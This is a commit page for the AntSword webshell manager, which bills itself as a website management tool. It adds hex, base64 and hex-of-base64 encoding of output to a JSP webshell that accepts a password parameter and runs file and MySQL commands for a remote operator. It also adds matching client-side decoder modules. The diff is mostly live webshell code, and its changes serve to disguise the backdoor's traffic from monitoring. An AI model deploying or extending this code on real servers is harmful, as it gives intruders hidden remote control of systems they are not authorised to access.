Commit b5d08cd6 authored by Medicean's avatar Medicean

(Enhance:Custom) CUSTOM 类型新增 `hex`, `base64`, `hex_base64` 三种类型解码器 (需要对应 Shell...

(Enhance:Custom) CUSTOM 类型新增 `hex`, `base64`, `hex_base64` 三种类型解码器 (需要对应 Shell 实现该功能, 参考: `jsp_custom_script_for_mysql.jsp`)
parent 4afdb564
...@@ -12,11 +12,15 @@ ...@@ -12,11 +12,15 @@
* 解码器解码后, 增加猜解字符编码流程 * 解码器解码后, 增加猜解字符编码流程
* 修复 PHP mysqli 指定其它端口时失败的问题 * 修复 PHP mysqli 指定其它端口时失败的问题
* CUSTOM 类型新增 `hex`, `base64`, `hex_base64` 三种类型解码器 (需要对应 Shell 实现该功能, 参考: `jsp_custom_script_for_mysql.jsp`)
> hex_base64 是指 shell 返回数据时, 先将明文数据使用 base64 编码, 再将结果 hex 编码
### 其它 ### 其它
* 修复 `jsp_custom_script_for_mysql.jsp` 使用 `base64` 编码器连接数据库时 `characterEncoding` 二次解码导致的无法识别的问题 #171 * 修复 `jsp_custom_script_for_mysql.jsp` 使用 `base64` 编码器连接数据库时 `characterEncoding` 二次解码导致的无法识别的问题 #171
* 修复 `ASP``Custom` 数据库管理导出问题 #172 * 修复 `ASP``Custom` 数据库管理导出问题 #172
* `jsp_custom_script_for_mysql.jsp` 新增解码器支持
## 2019/05/13 `v(2.1.2)` ## 2019/05/13 `v(2.1.2)`
......
{ {
"name": "antsword", "name": "antsword",
"version": "2.1.2.2", "version": "2.1.2.3",
"description": "中国蚁剑是一款跨平台的开源网站管理工具", "description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js", "main": "app.js",
"dependencies": { "dependencies": {
......
...@@ -24,6 +24,8 @@ ...@@ -24,6 +24,8 @@
已知问题: 已知问题:
1. 文件管理遇到中文文件名显示的问题 1. 文件管理遇到中文文件名显示的问题
ChangeLog: ChangeLog:
v1.6
1. 新增 4 种解码器支持
v1.5 v1.5
1. 修正 base64 编码器下连接数据库 characterEncoding 出错 1. 修正 base64 编码器下连接数据库 characterEncoding 出错
v1.4 v1.4
...@@ -50,7 +52,12 @@ ChangeLog: ...@@ -50,7 +52,12 @@ ChangeLog:
String encoder = ""; // default String encoder = ""; // default
// String encoder = "base64"; //base64 // String encoder = "base64"; //base64
// String encoder = "hex"; //hex(推荐) // String encoder = "hex"; //hex(推荐)
String cs = "UTF-8"; // 编码方式 String cs = "UTF-8"; // 字符编码
// 数据解码 4 选 1
String decoder = "";
// String decoder = "base64"; // base64 中文正常
// String decoder = "hex"; // hex 中文可能有问题
// String decoder = "hex_base64"; // hex(base64) // 中文正常
// ################################################ // ################################################
String EC(String s) throws Exception { String EC(String s) throws Exception {
...@@ -346,6 +353,26 @@ ChangeLog: ...@@ -346,6 +353,26 @@ ChangeLog:
return fileHexContext; return fileHexContext;
} }
public static String asenc(String str, String decode){
if(decode.equals("hex") || decode=="hex"){
String ret = "";
for (int i = 0; i < str.length(); i++) {
int ch = (int) str.charAt(i);
String s4 = Integer.toHexString(ch);
ret = ret + s4;
}
return ret;
}else if(decode.equals("base64") || decode == "base64"){
String sb = "";
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
sb = encoder.encode(str.getBytes());
return sb;
}else if(decode.equals("hex_base64") || decode == "hex_base64"){
return asenc(asenc(str, "base64"), "hex");
}
return str;
}
String decode(String str) { String decode(String str) {
byte[] bt = null; byte[] bt = null;
try { try {
...@@ -391,6 +418,7 @@ ChangeLog: ...@@ -391,6 +418,7 @@ ChangeLog:
response.setContentType("text/html"); response.setContentType("text/html");
request.setCharacterEncoding(cs); request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs); response.setCharacterEncoding(cs);
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer(""); StringBuffer sb = new StringBuffer("");
try { try {
String funccode = EC(request.getParameter(Pwd) + ""); String funccode = EC(request.getParameter(Pwd) + "");
...@@ -399,7 +427,7 @@ ChangeLog: ...@@ -399,7 +427,7 @@ ChangeLog:
String z2 = decode(EC(request.getParameter("z2") + ""), encoder); String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder); String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = { z0, z1, z2, z3}; String[] pars = { z0, z1, z2, z3};
sb.append("->" + "|"); output.append("->" + "|");
if (funccode.equals("B")) { if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1])); sb.append(FileTreeCode(pars[1]));
...@@ -439,6 +467,7 @@ ChangeLog: ...@@ -439,6 +467,7 @@ ChangeLog:
} catch (Exception e) { } catch (Exception e) {
sb.append("ERROR" + "://" + e.toString()); sb.append("ERROR" + "://" + e.toString());
} }
sb.append("|" + "<-"); output.append(asenc(sb.toString(), decoder));
out.print(sb.toString()); output.append("|" + "<-");
out.print(output.toString());
%> %>
/**
* CUSTOM::base64解码器
* Create at: 2019/05/31 12:42:35
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return ''; // 自定义脚本中此处留空, asenc 函数已经在 CUSTOM 内置
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data, 'base64');
}
}
\ No newline at end of file
/**
* CUSTOM::hex解码器
* Create at: 2019/05/31 12:42:35
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return ''; // 自定义脚本中此处留空, asenc 函数已经在 CUSTOM 内置
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data, 'hex');
}
}
\ No newline at end of file
/**
* CUSTOM::hex_base64 解码器
* hex(base64) 先将明文 base64 编码, 后转为 hex
* Create at: 2019/05/31 12:42:35
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return ''; // 自定义脚本中此处留空, asenc 函数已经在 CUSTOM 内置
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(Buffer.from(data, 'hex'), 'base64');
}
}
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment